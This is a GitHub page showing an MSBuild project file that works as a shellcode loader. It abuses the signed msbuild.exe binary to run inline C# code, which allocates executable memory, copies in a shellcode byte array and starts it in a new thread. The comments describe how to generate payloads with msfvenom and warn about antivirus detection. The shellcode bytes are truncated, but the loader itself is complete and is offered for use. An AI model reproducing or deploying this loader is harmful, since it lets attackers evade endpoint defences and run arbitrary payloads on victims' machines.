-
Notifications
You must be signed in to change notification settings - Fork 17
Expand file tree
/
Copy pathShellcode.csproj
More file actions
68 lines (63 loc) · 2.76 KB
/
Shellcode.csproj
File metadata and controls
68 lines (63 loc) · 2.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Original author: The excellent Casey Smith, Twitter: @subTee -->
<!-- https://gist.github.com/caseysmithrc/dfb671a8fbe3fa3305cb1ca06c46a010 -->
<!-- This executes shellcode via msbuild.exe (be careful of A.V products) -->
<!-- To execute your own shellcode, you first need to generate one using MSFVENOM: -->
<!-- msfvenom -p <payload to use> -e <encoder (optional)> -f ps1 (could also be done with csharp or powershell) -->
<!-- Adapt the XML below with your shellcode and adapt payload's length in buffer allocation-->
<!-- Execution: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Shellcode.csproj -->
<!-- Payload generation tool: https://github.com/Mr-Un1k0d3r/PowerLessShell -->
<Target Name="Shellcode Exec">
<ClassPayloadExec />
</Target>
<UsingTask
TaskName="ClassPayloadExec"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassPayloadExec : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute(){
// Adapt here buffer length + shellcode
byte[] Sc = new byte[351] {0xb0,0x0b,0x4d,0xad,0x.....};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)Sc.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(Sc, 0, (IntPtr)(funcAddr), Sc.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]> // close CDATA[]
</Code>
</Task>
</UsingTask>
</Project>